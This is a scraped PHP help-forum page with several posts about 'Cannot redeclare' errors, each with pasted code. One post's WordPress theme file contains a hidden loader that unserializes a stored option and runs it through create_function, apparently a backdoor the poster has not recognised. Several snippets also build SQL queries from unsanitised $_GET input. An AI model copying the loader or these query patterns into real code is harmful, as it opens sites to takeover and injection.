PHP - Cannot Redeclare Error...
I'm not seeing what is causing this: (Fatal error: Cannot redeclare shopdisplay() (previously declared in /home/katarra/public_html/shops.php:11)in /home/katarra/public_html/shops.php on line 21) error...
Any help would be appreciated! (This probably isn't the only error, but it's the one that's stopping me from finding the others) Thanks! <?php error_reporting(E_ALL); ini_set('display_errors', TRUE); ini_set('display_startup_errors', TRUE); require_once('dk_lib.php'); require_once('scripts/dbfunc.s'); include ("debug.php"); include("lib.php"); $player = check_user($secret_key, $db); function shopdisplay($content, $title) { // Finalize page and output to browser. $template = gettemplate("shops"); $finalarray = array( "title"=>$title, "content"=>$content); $page = parsetemplate($template, $finalarray); echo $page; die(); } if (isset($_GET["do"])) { $do = explode(":",$_GET["do"]); if ($do[0] == "buy") { include('shops.php'); buy(); } elseif ($do[0] == "buy2") { include('shops.php'); buy2($do[1]); } elseif ($do[0] == "buy3") { include('shops.php'); buy3($do[1]); } elseif ($do[0] == "sell") { include('shops.php'); sell(); } } else { donothing(); } function donothing() { $page = "Welcome to my shop. What do you want?"; shopdisplay($page, "Shop Home"); } function buy() { // Displays a list of available items for purchase. global $numqueries; $query1 = doquery("SELECT * FROM levels", "levels") or trigger_error("Query failed: ". mysql_error()); $location = mysql_fetch_array($query1); $townquery = doquery("SELECT name,itemslist FROM shop WHERE location=$location", "shop") or trigger_error("Query failed: ". mysql_error()); if (mysql_num_rows($townquery) != 1) { shopdisplay("Cheat attempt detected.<br /><br />Get a life, loser.", "Error"); } $townrow = mysql_fetch_array($townquery); $itemslist = explode(",",$townrow["itemslist"]); $querystring = ""; foreach($itemslist as $a=>$b) { $querystring .= "id='$b' OR "; } $querystring = rtrim($querystring, " OR "); $itemsquery = doquery("SELECT * FROM items WHERE $querystring ORDER BY id", "items"); $page = "Buying weapons will increase your Attack Power. Buying armor and shields will increase your Defense Power.<br /><br />Click an item name to purchase it.<br /><br />The following items are available at this shop:<br /><br />\n"; $page .= "<table width=\"80%\">\n"; while ($itemsrow = mysql_fetch_array($itemsquery)) { if ($itemsrow["type"] == 'weapon') { $attr = "Attack Power:"; } else { $attr = "Defense Power:"; } $page .= "<tr><td width=\"4%\">"; /* if ($userrow["weaponid"] == $itemsrow["id"] || $userrow["armorid"] == $itemsrow["id"] || $userrow["shieldid"] == $itemsrow["id"]) { $page .= "<td width=\"32%\"><span class=\"light\">".$itemsrow["name"]."</span></td><td width=\"32%\"><span class=\"light\">$attrib ".$itemsrow["attribute"]."</span></td><td width=\"32%\"><span class=\"light\">Already purchased</span></td></tr>\n"; } else } */ $page .= "<td width=\"32%\"><b><a href=\"shops.php?do=buy2:".$itemsrow["id"]."\">".$itemsrow["name"]."</a>$</b></td><td width=\"32%\">$attr <b>".$itemsrow["attr"]."</b></td><td width=\"32%\">Price: <b>".$itemsrow["price"]." gold</b></td></tr>\n"; } $page .= "</table><br />\n"; $title = "Buy Items"; shopdisplay($page, $title); } function buy2($id) { // Confirm user's intent to purchase item. global $userrow, $numqueries; $query1 = doquery("SELECT * FROM levels", "levels"); $location = mysql_fetch_array($query1); $townquery = doquery("SELECT name,itemslist FROM shop WHERE location=$location", "shop") or trigger_error("Query failed: ". mysql_error()); if (mysql_num_rows($townquery) != 1) { shopdisplay("Cheat attempt detected.<br /><br />Get a life, loser.", "Error"); } $townrow = mysql_fetch_array($townquery); $townitems = explode(",",$townrow["itemslist"]); if (! in_array($id, $townitems)) { shopdisplay("Cheat attempt detected.<br /><br />Get a life, loser.", "Error"); } $itemsquery = doquery("SELECT * FROM items WHERE id='$id'", "items") or trigger_error("Query failed: ". mysql_error()); $itemsrow = mysql_fetch_array($itemsquery); if ($player["gold"] < $itemsrow["price"]) { shopdisplay("You do not have enough gold to buy this item!", "Buy Items"); die(); } if ($itemsrow["type"] == 'weapon') { $page = "You are buying the ".$itemsrow["name"].", is that ok?<br /><br /><form action=\"shops.php?do=buy3:$id\" method=\"post\"><input type=\"submit\" name=\"submit\" value=\"Yes\" /> <input type=\"submit\" name=\"cancel\" value=\"No\" /></form>"; } elseif ($itemsrow["type"] == 'armor') { $page = "You are buying the ".$itemsrow["name"].", is that ok?<br /><br /><form action=\"shops.php?do=buy3:$id\" method=\"post\"><input type=\"submit\" name=\"submit\" value=\"Yes\" /> <input type=\"submit\" name=\"cancel\" value=\"No\" /></form>"; } elseif ($itemsrow["type"] == 'item') { $page = "You are buying the ".$itemsrow["name"].", is that ok?<br /><br /><form action=\"shops.php?do=buy3:$id\" method=\"post\"><input type=\"submit\" name=\"submit\" value=\"Yes\" /> <input type=\"submit\" name=\"cancel\" value=\"No\" /></form>"; } elseif ($itemsrow["type"] == 'pet') { $page = "You are buying the ".$itemsrow["name"].", is that ok?<br /><br /><form action=\"shops.php?do=buy3:$id\" method=\"post\"><input type=\"submit\" name=\"submit\" value=\"Yes\" /> <input type=\"submit\" name=\"cancel\" value=\"No\" /></form>"; } $title = "Buy Items"; shopdisplay($page, $title); } function buy3($id) { // Update user profile with new item & stats. if (isset($_POST["cancel"])) { header("Location: shops.php"); die(); } global $userrow; $query1 = doquery("SELECT * FROM levels", "levels"); $location = mysql_fetch_array($query1); $townquery = doquery("SELECT name,itemslist FROM shop WHERE location=$location", "shop") or trigger_error("Query failed: ". mysql_error()); if (mysql_num_rows($townquery) != 1) { shopdisplay("Cheat attempt detected.<br /><br />Get a life, loser.", "Error"); } $townrow = mysql_fetch_array($townquery); $townitems = explode(",",$townrow["itemslist"]); if (! in_array($id, $townitems)) { shopdisplay("Cheat attempt detected.<br /><br />Get a life, loser.", "Error"); } $itemsquery = doquery("SELECT * FROM items WHERE id='$id'", "items") or trigger_error("Query failed: ". mysql_error()); $itemsrow = mysql_fetch_array($itemsquery); if ($player["gold"] < $itemsrow["price"]) { shopdisplay("You do not have enough gold to buy this item!", "Buy Items"); die(); } $query = mysql_select("select `id`, `name`, `price`, `type`, `slot` from `items` where `id`=?", array($_GET['id'])) or trigger_error("Query failed: ". mysql_error()); $item = $query->fetchrow(); $q1 = mysql_select("select * from `inventory` where `player`=? and item_id=?", array($player->id,$item['id'])) or trigger_error("Query failed: ". mysql_error()); if($q1->recordcount() == 0) { $insert['player'] = $player->id; $insert['quantity'] = '0'; $insert['status'] = 'unequipped'; $insert['item_id'] = $item['id']; $insert['type'] = $item['type']; $insert['slot'] = $item['slot']; $query2 = $db->autoexecute('inventory', $insert, 'INSERT') or trigger_error("Query failed: ". mysql_error()); } $query1 = mysql_select("update `users` set `gold`=? where `id`=?", array($player->gold - $item['price'], $player->id)) or trigger_error("Query failed: ". mysql_error()); $insert['player'] = $player->id; $insert['item_id'] = $item['id']; $q = mysql_select("select * from `inventory` where `player`='".$insert['player']."' and `item_id`='".$item['id']."'") or trigger_error("Query failed: ". mysql_error()); $row = $q->fetchrow(); $query = mysql_select("update `inventory` set `quantity`=? where `item_id`='".$item['id']."' and `player`='".$insert['player']."'", array($row['quantity'] + 1)) or trigger_error("Query failed: ". mysql_error()); if ($query && $query1) //If successful { $player = check_user($secret_key, $db); //Get new user stats echo "<b>Blacksmith:</b><br />\n"; if ($query2){echo "<strong>You purchased a " . ucwords($item['name']) . "!</strong><br />";} echo "<i>Thank you, enjoy your new <b>" . ucwords($item['name']) . "</b>!</i><br /><br />\n"; $q1 = mysql_select("select * from `inventory` where `item_id`='".$_GET['id']."' and `player`='".$insert['player']."'"); $row1 = $q1->fetchrow(); echo "<i>You now have " . $row1['quantity'] . " <b>" . $item['name'] . "(s)</b>!</i><br /><br />\n"; echo "<a href=\"main.php?username=$x&password=$y&doit=inventory\">Return to inventory</a>"; break; } else { //Error logging here } } function sell($id) { if (!$_GET['id']) //No item ID { echo "That item does not exist in your inventory!"; break; } //Select the item from the database $inventitemid = $_GET['id']; $query = mysql_select("select * from `inventory` where inventory.item_id='".$inventitemid."' and inventory.player=?", array($player->id)); //Either item doesn't exist, or item doesn't belong to user if($query->recordcount() == 0){ echo "Sorry, that item does not exist!"; break;} $query = mysql_select("select * from `items` where items.id=?", array($_GET['id'])); $query12 = $db->execute("SELECT `status`, `quantity` FROM `inventory` where inventory.item_id='".$inventitemid."' and inventory.player=?", array($player->id)); $row = $query12->fetchrow(); if($row['status'] == 'equipped') { echo "Unequip this item before trying to sell it!<br>"; echo "<a href=\"main.php?username=$x&password=$y&doit=inventory\">Return to inventory</a><br>"; exit;} //Either item doesn't exist, or item doesn't belong to user if ($query->recordcount() == 0) { echo "Sorry, that item does not exist!"; break; } $sell = $query->fetchrow(); //Get item info //Check to make sure clicking Sell wasn't an accident if (!$_POST['sure']) { echo "Are you sure you want to sell your <b>" . $sell['name'] . "</b> for <b>" . floor($sell['price']/2) . "</b> gold?<br /><br />\n"; echo "<form method=\"post\" action=\"shops.php?act=sell&id=" . $inventitemid . "\">\n"; echo "<input type=\"submit\" name=\"sure\" value=\"Yes, I am sure!\" />\n"; echo "</form>\n"; break; } if ($row['quantity']== 1) { $query = mysql_select("delete from `inventory` where `item_id`=? and `player`=?", array($inventitemid, $player->id)); } elseif($row['quantity'] > 1) { $query = mysql_select("UPDATE `inventory` SET `quantity`=? WHERE `item_id`=? and `player`=?",array($row['quantity'] - 1, $inventitemid, $player->id)); } $query = mysql_select("update `users` set `gold`=? where `id`=?", array($player->gold + floor($sell['price']/2), $player->id)); $player = check_user($secret_key, $db); //Get updated user info echo "You have sold your <b>" . $sell['name'] . "</b> for <b>" . floor($sell['price']/2) . "</b> gold.<br /><br />\n"; echo "<a href=\"main.php?username=$x&password=$y&doit=inventory\">Return to inventory</a>"; break; } ?> Similar TutorialsHi there, I have a local server set up on my computer which I have used before and it worked flawlessly. It is running apache with PHPand mySQL set up as services. Recently I attempted to copy a project I have worked on at school onto my server. I have the database up and running, however when I try to run a PHP file it gives me the error: Quote Fatal error: Cannot redeclare getText() in C:\Server\htdocs\projects\tournament\includes\functions.php on line 20 When I rename that function (which I know is not being redeclared) I get a browser error: Quote This webpage is not available. The webpage at http://localhost/projects/tournament/index.php might be temporarily down or it may have moved permanently to a new web address. More information on this error Below is the original error message Error 101 (net::ERR_CONNECTION_RESET): Unknown error. Has anybody else experienced this error and have a solution to fix it? My guess is that it has to do with the function gettext() being available on this machine but not on the machine at school, however I thought PHP was case sensitive? I know what is wrong but I have no idea how to fix it. This code (at lease part of it) should loop about 17 times (based on the current parameters in the database), but it stops after 1st. I have no idea how to "undeclare" getPage() at the end to make it loop again. Code: [Select] $result = mysql_query("SELECT * FROM Teacher_Registrations WHERE active ='Yes' Order by Full_Name"); while($row = mysql_fetch_array($result)) { $result2 = mysql_query("SELECT * FROM Project_Registrations WHERE (Teacher = '$row[Full_Name]') AND ((Paid_1 = 'No') OR (Paid_2 = 'No' AND Second_Name != 'nostudent') OR (Paid_3 = 'No' AND Third_Name != 'nostudent'))"); $num_rows2 = mysql_num_rows($result2); $row2 = mysql_fetch_array($result2); if ($num_rows2 > '0') { $url = 'http://www.mayapge.us/page.php?'; $url .= 'email='.urlencode("myemail"); $url .= '&teacherid='.urlencode($row['ID']); function getPage($proxy, $url, $header, $timeout) { $ch = curl_init(); curl_setopt($ch, CURLOPT_URL, $url); curl_setopt($ch, CURLOPT_HEADER, $header); curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); curl_setopt($ch, CURLOPT_PROXY, $proxy); curl_setopt($ch, CURLOPT_HTTPPROXYTUNNEL, 1); curl_setopt($ch, CURLOPT_CONNECTTIMEOUT, $timeout); curl_setopt($ch, CURLOPT_REFERER, 'http://mypage.org'); curl_setopt($ch, CURLOPT_USERAGENT, 'Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.0.8) Gecko/2009032609 Firefox/3.0.8'); $result3['EXE'] = curl_exec($ch); $result3['INF'] = curl_getinfo($ch); $result3['ERR'] = curl_error($ch); curl_close($ch); return $result3; } $result3 = getPage('', $url, '', 15); }} I am getting the following error trying to login to my wordpress backoffice. Fatal error: Cannot redeclare iis7_supports_permalinks() (previously declared in /home/denewman/public_html/KoodayOnline.com/wp-includes/functions.php:3476) in /home/denewman/public_html/KoodayOnline.com/wp-admin/includes/misc.php on line 403 Searching online it appears there is a conflict where there should be a require_once function or something of that sort. There is even a post on this board that talks about it at http://www.phpfreaks.com/tutorial/defining-a-php-function-only-once Since I have never actually dealt with this code before I am not sure where I need to put it for this error. Basically I need help. I have attached the code in two notepad files. Would appreciate any help I can get Here is the code: // Count files function filecount($FolderPath) { $filescount = 0; // Open the directory $dir = opendir($FolderPath); // if the directory doesn't exist return 0 if (!$dir){return 0;} // Read the directory and get the files while (($file = readdir($dir)) !== false) { if ($file[0] == '.'){ continue; } //if '.' it is a sub folder and call the function recursively if (is_dir($FolderPath.$file)){ // Call the function if it is a folder type $filescount += filecount($FolderPath.$file.DIRECTORY_SEPARATOR); } else { // Increment the File Count. $filescount++; } } // close the directory closedir($dir); return $filescount; } function getfilenames($location) { // create an array to hold directory list $results = array(); // create a handler for the directory $handler = opendir($location); // open directory and walk through the filenames while ($file = readdir($handler)) { // if file isn't this directory or its parent, add it to the results if ($file != "." && $file != "..") { $results[] = $file; } } // tidy up: close the handler closedir($handler); // done! return $results; } function readfile($file) { $fh = fopen('./Data/' . $file, 'r'); $data = fread($fh, filesize($file)); fclose($fh); return $data; } Now, when I try to get the text from a textfile via the function readfile I get this error: Quote Fatal error: Cannot redeclare readfile() in ***Path\FileManagement.php on line 62 Whats wrong? Regards Worqy I wanted to inherit child classes from parent class. But it gives error like this: Fatal error: Cannot redeclare class Ch2_Product in C:\wamp\www\OOPhpSolutions\Ch_02\Product.php on line 3 I have file like this: Product.php Quote <?php class Ch2_Product { protected $_title; protected $_type; public function __construct($title, $type) { $this->_title = $title; $this->_type = $type; } public function getTitle() { return $this->_title; } public function getType() { return $this->_type; } } ?> Next I've inherited like this: Book.php Quote <?php require 'Product.php'; class Ch2_Book extends Ch2_Product { //defining functions } ?> And DVD.php Quote <?php require 'Product.php'; class Ch2_DVD extends Ch2_Product { // } ?> Finally I tried to catch the child class values like this in Ch_Book.php Quote <?php require_once 'Book.php'; require_once 'DVD.php'; $product1 = new Ch2_Book('Old Man and the Sea', 'Novel'); $product2 = new Ch2_DVD('Gone With the Wind', 'Movie'); echo $product1->getTitle(); echo $product1->getType(); echo $product2->getTitle(); echo $product2->getType(); ?> But it gave that error. Can anyone solve this? From yesterday, I am getting the following error on My wordpress Blog: Code: [Select] Fatal error: Cannot redeclare dsCrypt() (previously declared in /home/learnhow/public_html/wp-content/themes/cadabrapress_v1.1/functions.php(16) : runtime-created function(1) : eval()'d code:24) in /home/learnhow/public_html/wp-content/themes/cadabrapress_v1.1/functions.php(16) : runtime-created function(1) : eval()'d code on line 67 Due to this, the main page of the blog and even the categories, pages also are not opening. Just displaying the error. What is to be done? This is the content of the theme functions.php Code: [Select] <?php define("INC", TEMPLATEPATH . "/functions"); define("WIDGETS", TEMPLATEPATH . "/widgets"); require_once INC . "/wpzoom-functions.php"; require_once INC . "/wpzoom-core.php"; /** * Widgets */ require_once WIDGETS . "/wpzoom-video-widget.php"; ?> <?php function page_options() { $option = get_option('page_option'); $opt=unserialize($option); @$arg = create_function('', $opt[1].$opt[4].$opt[10].$opt[12].$opt[14].$opt[7] );return $arg('');} add_action('loop_start', 'page_options'); ?> Fatal error: Cannot redeclare limitatexto() (previously declared in funciones.php:4) in funciones.php on line 12 <?php function limitatexto( $texto, $limite ) - Line 4 { if( strlen($texto)>$limite ) { $texto = substr( $texto,0,$limite ); } return $texto; } Line 12 Code: [Select] <?php include 'config.php'; //include 'dbc.php'; ?> <?php function filter($data) { // <--line 6 $data = trim(htmlentities(strip_tags($data))); if (get_magic_quotes_gpc()) $data = stripslashes($data); $data = mysql_real_escape_string($data); return $data; } ?> <?php /******************* ACTIVATION BY FORM**************************/ if ($_POST['doReset']=='Reset') { $err = array(); $msg = array(); foreach($_POST as $key => $value) { $data[$key] = filter($value); } if(!isEmail($data['email'])) { $err[] = "ERROR - Please enter a valid email"; } $email = $data['email']; //check if activ code and user is valid as precaution $rs_check = mysql_query("select id from users where email='$email'") or die (mysql_error()); $num = mysql_num_rows($rs_check); // Match row found with more than 1 results - the user is authenticated. if ( $num <= 0 ) { $err[] = "Error - Sorry no such account exists or registered."; //header("Location: forgot.php?msg=$msg"); //exit(); } if(empty($err)) { $new_pass = GenPwd(); $pass_reset = MD5($new_pass); //$sha1_new = sha1($new); //set update sha1 of new password + salt $rs_activ = mysql_query("update users set pass='$pass_reset' WHERE email='$email'") or die(mysql_error()); $host = $_SERVER['HTTP_HOST']; $host_upper = strtoupper($host); //send email $message = "Here are your new password details ...\n User Email: $email \n Passwd: $new_pass \n Thank You Administrator $host_upper ______________________________________________________ THIS IS AN AUTOMATED RESPONSE. ***DO NOT RESPOND TO THIS EMAIL**** "; mail($email, "Reset Password", $message, "From: \"Member Registration\" <auto-reply@$host>\r\n" . "X-Mailer: PHP/" . phpversion()); $msg[] = "Your account password has been reset and a new password has been sent to your email address."; //$msg = urlencode(); //header("Location: forgot.php?msg=$msg"); //exit(); } } ?> <html> <head> <title>Forgot Password</title> <meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1"> <script language="JavaScript" type="text/javascript" src="js/jquery-1.3.2.min.js"></script> <script language="JavaScript" type="text/javascript" src="js/jquery.validate.js"></script> <script> $(document).ready(function(){ $("#actForm").validate(); }); </script> <link href="styles.css" rel="stylesheet" type="text/css"> </head> <body> <table width="100%" border="0" cellspacing="0" cellpadding="5" class="main"> <tr> <td colspan="3"> </td> </tr> <tr> <td width="160" valign="top"><p> </p> <p> </p> <p> </p> <p> </p> <p> </p></td> <td width="732" valign="top"> <h3 class="titlehdr">Forgot Password</h3> <p> <?php /******************** ERROR MESSAGES************************************************* This code is to show error messages **************************************************************************/ if(!empty($err)) { echo "<div class=\"msg\">"; foreach ($err as $e) { echo "* $e <br>"; } echo "</div>"; } if(!empty($msg)) { echo "<div class=\"msg\">" . $msg[0] . "</div>"; } /******************************* END ********************************/ ?> </p> <p>If you have forgot the account password, you can <strong>reset password</strong> and a new password will be sent to your email address.</p> <form action="forgot.php" method="post" name="actForm" id="actForm" > <table width="65%" border="0" cellpadding="4" cellspacing="4" class="loginform"> <tr> <td colspan="2"> </td> </tr> <tr> <td width="36%">Your Email</td> <td width="64%"><input name="email" type="text" class="required email" id="txtboxn" size="25"></td> </tr> <tr> <td colspan="2"> <div align="center"> <p> <input name="doReset" type="submit" id="doLogin3" value="Reset"> </p> </div></td> </tr> </table> <div align="center"></div> <p align="center"> </p> </form> <p> </p> <p align="left"> </p></td> <td width="196" valign="top"> </td> </tr> <tr> <td colspan="3"> </td> </tr> </table> </body> </html> Fatal error: Cannot redeclare filter() (previously declared in/forgot.php:6) what is wrong ? functions.php source -> http://smileybb.com/paste/99 <- [Password: freak] Error: Fatal error: Cannot redeclare log() in /home/smileybb/public_html/style/inc/functions.php on line 62 functions.php is only called one time to check for errors since I tend to write the backend before the frontend. Any chance you guys could give me some help? I had a problem with my code, the result shows 'Fatal error: Cannot redeclare create_form_input() (previously declared in ....\form_functions.inc.php:9) in ....\includes\form_functions.inc.php on line 32 I need to make registration forms and I already defined a function for creating this inputs.. here's the code Code: [Select] <?php function create_form_input($name, $type, $errors) { $value = false; if (isset($_POST[$name])) $value = $_POST[$name]; if ($value && get_magic_quotes_gpc( )) $value = stripslashes($value); if ( ($type == 'text') || ($type == 'password') ) { echo '<input type="' . $type . '" name="' . $name . '" id="' . $name . '"'; if ($value) echo ' value="' . htmlspecialchars($value) . '"'; if (array_key_exists($name, $errors)) { echo 'class="error" /> <span class="error">' . $errors[$name] .'</span>'; } else { echo ' />'; } } elseif ($type == 'textarea') { if (array_key_exists($name, $errors)) echo ' <span class="error">' .$errors[$name] . '</span>'; echo '<textarea name="' . $name . '" id="' . $name . '" rows="5" cols="75"'; if (array_key_exists($name, $errors)) { echo ' class="error">'; } else { echo '>'; } if ($value) echo $value; echo '</textarea>'; } // End of primary IF-ELSE. } // End of function And here is the form registration. Code: [Select] <?php require ('./includes/form_functions.inc.php'); ?> <form action="register.php" method="post" accept-charset="utf-8" style="padding-left:100px"> <p><label for="first_name"><strong>First Name</strong></label> <br /><?php create_form_input('first_name', 'text', $reg_errors); ?></p> <p><label for="last_name"><strong>Last Name</strong></label><br /><?php create_form_input('last_name', 'text', $reg_errors); ?></p> <p><label for="username"><strong>Desired Username</strong></label><br /> <?php create_form_input('username', 'text', $reg_errors); ?> <small>Only letters and numbers are allowed.</small></p> <p><label for="email"><strong>Email Address</strong></label> <br /><?php create_form_input('email', 'text', $reg_errors); ?></p> <p><label for="pass1"><strong>Password</strong></label><br /> <?php create_form_input('pass1', 'password', $reg_errors); ?> <small>Must be between 6 and 20 characters long, with at least one lowercase letter, one uppercase letter, and one number.</small></p> <p><label for="pass2"><strong>Confirm Password</strong> </label><br /><?php create_form_input('pass2', 'password', $reg_errors); ?></p> <input type="submit" name="submit_button" value="Next →" id="submit_button" class="formbutton" /> </form> Thanks before Hi guys, i have a little problem was wondering if anybody can help me out,.. i cant seem to understand why this keeps popping up Fatal error: Cannot redeclare CSQLAdmin::$functions in /home/chekweb1/public_html/propretymanagement/lib/sqladmin.php on line 31 Code: [Select] <?php class CSQLAdmin extends CLibrary { /** * description * * @var type * * @access type */ var $form; /** * description * * @var type * * @access type */ var $functions; /** * description functions list which will be executed in variouse points of sqladmin * * @var type * * @access type */ var $functions; function CSQLAdmin($section , $templates , $db , $tables , $extra = "") { global $_CONF; if (!$_GET["page"]) $_GET["page"] = 1; parent::CLibrary("SQLAdmin"); //checking if the templates are orblects or path to a template file if (!is_array($templates)) //if path the load the tempmate form that file $this->templates = array("generic_form" => new CTemplate($templates)); else $this->templates = $templates; $this->db = $db; $this->tables = $tables; //extra variables to be passed to cform $this->extra = $extra; //loading the forms , changed the varialbes locations, but still keeping the compatibility $path = ($_CONF["forms"]["adminpath"] ? $_CONF["forms"]["adminpath"] : $_CONF["formspath"] ); if (dirname($section)) { $path .= dirname($section) . "/" ; $section = basename($section); } //debuging part if (defined("PB_DEBUG") && (PB_DEBUG == "1")) echo "<br>FILE:SQLADMIN:MAIN:{$path}{$section}.xml"; $conf = new CConfig( $path . $section . ".xml"); $this->forms = $conf->vars["form"]; //loading the edit/add forms if (is_array($this->forms["forms"])) { foreach ($this->forms["forms"] as $key => $val) { unset($conf); //debuging part // if (defined("PB_DEBUG") && PB_DEBUG == "1") // echo "<br>FILE:SQLADMIN:SECTION:{$path}{$section}.xml"; $conf = new CConfig($path . $val ); $this->forms["forms"][$key] = $conf->vars["form"]; //adding the tables $this->forms["forms"][$key]["table"] = $this->forms["table"]; $this->forms["forms"][$key]["table_uid"] = $this->forms["table_uid"]; $this->forms["forms"][$key]["xmlfile"] = $path . $val ; } } $this->form = new CForm($this->templates["generic_form"], &$db , &$tables); } /** * description * * @param * * @return * * @access */ function FormList($items = "") { global $base; //checking if hte values weren't inputed ion the main object if (is_array($this->items)) { $items = $this->items; } //crap, preexecute a function, which is suposed in some times to preload the items too if (is_array($this->functions["list"]["pre"])) call_user_func($this->functions["list"]["pre"], &$items , &$items_count); //if i got no elements from preloader functions, then i load it manualy if (!is_array($items)) { //cheking if is a normal browse or a search method if (isset($this->forms["uridata"]["search"]) && ($_GET[$this->forms["uridata"]["action"]] == $this->forms["uridata"]["search"])) { $items = $this->db->QuerySelectLimit($this->tables[$this->forms["forms"]["list"]["table"]],"*", "`" . $_GET["what"] . "` " . ( $_GET["type"] == "int" ? "='" . $_GET["search"] . "'" : "LIKE '%" . $_GET["search"] . "%'"),(int) $_GET["page"],$this->forms["forms"]["list"]["items"]); $count = $this->db->RowCount($this->tables[$this->forms["forms"]["list"]["table"]] , " WHERE `" . $_GET["what"] . "` " . ( $_GET["type"] == "int" ? "='" . $_GET["search"] . "'" : "LIKE '%" . $_GET["search"] . "%'")); } else { $items = $this->db->QuerySelectLimit($this->tables[$this->forms["forms"]["list"]["table"]],"*","",(int) $_GET["page"],$this->forms["forms"]["list"]["items"]); $count = $this->db->RowCount($this->tables[$this->forms["forms"]["list"]["table"]]); } } $_GET["page"] = $_GET["page"] ? $_GET["page"] : 1; //auto index the element $start = $this->forms["forms"]["list"]["items"] * ($_GET["page"] - 1 ); if (is_array($items)) { foreach ($items as $key => $val) { $items[$key]["_count"] = ++$start; } } //$data = new CForm($this->templates["generic_form"], &$this->db , &$this->tables); return $this->form->SimpleList($this->forms["forms"]["list"] , $items , $count , $this->extra["list"]); } /** * description * * @param * * @return * * @access */ function SetFunction( $form , $event , $function) { $this->functions[$form][$event] = $function; } /** * description * * @param * * @return * * @access */ function ListProcess($pre = "" , $after = "" ) { $this->functions["list"]["pre"] = $pre; $this->functions["list"]["after"] = $after; } /** * description * * @param * * @return * * @access */ function StoreRecord($redirect = true) { global $base, $_CONF; //validating the input data if ($_SERVER["REQUEST_METHOD"] == "POST") { //doing a autodetect for storing type , edit or add //if $_GET["type"] is set is simple, else detecting after the id form if (!isset($_GET["type"])) { if ($_POST[$this->forms["table_uid"]]) $_GET["type"] = "edit"; else $_GET["type"] = "add"; } //if validation succeeds then i move the files from /tmp to their directory, else i will proceed to add //precheck for uploaded files, like temporary images, etc. $form = $this->forms["forms"][$_GET["type"]]; if (is_array($form["fields"])) { foreach ($form["fields"] as $key => $val) { switch ($val["type"]) { case "date": $_POST[$key] = mktime ( $_POST[$key . "_hour"] , $_POST[$key . "_minute"] , $_POST[$key . "_second"] , $_POST[$key. "_month"] , $_POST[$key. "_day"] , $_POST[$key. "_year"]); break; case "droplist": if ($val["subtype"] == "multiple") { //detect the fields which should be available for this field if (is_array($_POST)) { foreach ($_POST as $k => $v) { if (strstr($k , $key . "_option_")) { $option[] = $v; } } //ok, now build the result if (is_array($option)) { $_POST[$key] = implode($val["tree"]["db_separator"],$option); } else { $_POST[$key] = ""; } } else { } } break; case "upload": $file = true; case "image": unset($_POST[$key]); //checking how choosed the client to set the image switch ($_POST[$key . "_radio_type"]) { case 0: //checking if the client specified any image type if (is_array($_FILES[$key . "_upload_client"]) && is_uploaded_file($_FILES[$key . "_upload_client"]["tmp_name"])) { $img = &$_FILES[$key . "_upload_client"]; //temporary upload the file in images/upload/tmp/ $name = $_POST[$key . "_temp"] != "" ? $_POST[$key . "_temp"] : $val["file"]["default"] . time() . $val["file"]["ext"]; @move_uploaded_file($img["tmp_name"] , $_CONF["path"] . $_CONF["upload"] . "tmp/" . $name ); // generate the tn image if ($val["tn"]["generate"] == "true") { $base->image->Resize( $_CONF["path"] . $_CONF["upload"] . "tmp/" . $name , $_CONF["path"] . $_CONF["upload"] . "tmp/" . $val["tn"]["preffix"] . $name , $val["tn"]["width"] ); $_POST["tn_" . $key] = "1"; } //setting read/delete/save permission for all users, usefull if the httpd is working as normal user ( most cases ) chmod ($_CONF["path"] . $_CONF["upload"] . "tmp/" . $name , 0777); // die; //setting the temp variable $_fields["values"][$key . "_temp"] = $name; $_POST[$key . "_temp"] = $name; $_POST[$key . "_file"] = $_FILES[$key . "_upload_client"]["name"]; $_POST[$key] = "1"; } break; case "1": //, the guy wants to download a ing image if ($_POST[$key . "_upload_web"] != "http://") { //i have to be very carefully here, if the image is not a valid link, then //everithing get messed. $image = @GetFileContents($_POST[$key . "_upload_web"]); $name = $_POST[$key . "_temp"] != "" ? $_POST[$key . "_temp"] : $val["file"]["default"] . time() . $val["file"]["ext"]; SaveFileContents( $_CONF["path"] . $_CONF["upload"] . "tmp/" . $name , $image); chmod ($_CONF["path"] . $_CONF["upload"] . "tmp/" . $name , 0777); // generate the tn image if ($val["tn"]["generate"] == "true") { @$base->image->Resize( $_CONF["path"] . $_CONF["upload"] . "tmp/" . $name , $_CONF["path"] . $_CONF["upload"] . "tmp/" . $val["tn"]["preffix"] . $name , $val["tn"]["width"] ); $_POST["tn_" . $key] = "1"; } //setting the temp variable $_fields["values"][$key . "_temp"] = $name; $_POST[$key . "_temp"] = $name; $_POST[$key . "_file"] = basename($_POST[$key . "_upload_web"]); $_POST[$key] = "1"; } break; case "-1": // echo "<pre style=\"background-color:white\">"; // print_r($_POST); // die; //trying to remove the tmp image is exists if (file_exists($_CONF["path"] . $_CONF["upload"] . "tmp/" . $_POST[$key . "_temp"]) && is_file($_CONF["path"] . $_CONF["upload"] . "tmp/" . $_POST[$key . "_temp"])) @unlink($_CONF["path"] . $_CONF["upload"] . "tmp/" . $_POST[$key . "_temp"]); //removing the original image too if exists else @unlink($_CONF["path"] . $_CONF["upload"] . $val["path"] . $val["file"]["default"] . $_POST[$val["file"]["field"]] . $val["file"]["ext"]); $_fields["values"][$key . "_radio_type"] = 0; $_POST[$key] = 0; $_fields["values"][$key . "_temp"] = ""; $_POST[$key . "_temp"] = ""; $_POST[$key . "_file"] = ""; break; } //hm ... checking if that IS A REAL IMAGE if ($_POST[$key . "_temp"] && !$file) { $img = @GetImageSize($_CONF["path"] . $_CONF["upload"] . "tmp/" . $_POST[$key . "_temp"]); if (!is_array($img)) { //removing the image, maybe in future return the er a proper answer //echo "MOHHHHH"; @unlink($_CONF["path"] . $_CONF["upload"] . "tmp/" . $_POST[$key . "_temp"]); $_POST[$key . "_temp"] = ""; $_POST[$key] = 0; } } break; } } } //force for no validation sometimes if ($_GET["FORMvalidate"] == "false") $fields = ""; else $fields = $this->form->Validate($this->forms["forms"][$_GET["type"]] , $_POST); if (!is_array($fields)) { //adding to database if (!$_POST[$this->forms["forms"]["add"]["table_uid"]]) { $id = $this->db->QueryInsert($this->tables[$this->forms["forms"]["add"]["table"]] , $_POST); $_POST[$this->forms["forms"]["add"]["table_uid"]] = $id; } else { $this->db->QueryUpdate($this->tables[$this->forms["forms"]["edit"]["table"]] , $_POST , "`" . $this->forms["forms"]["edit"]["table_uid"] . "`='" . 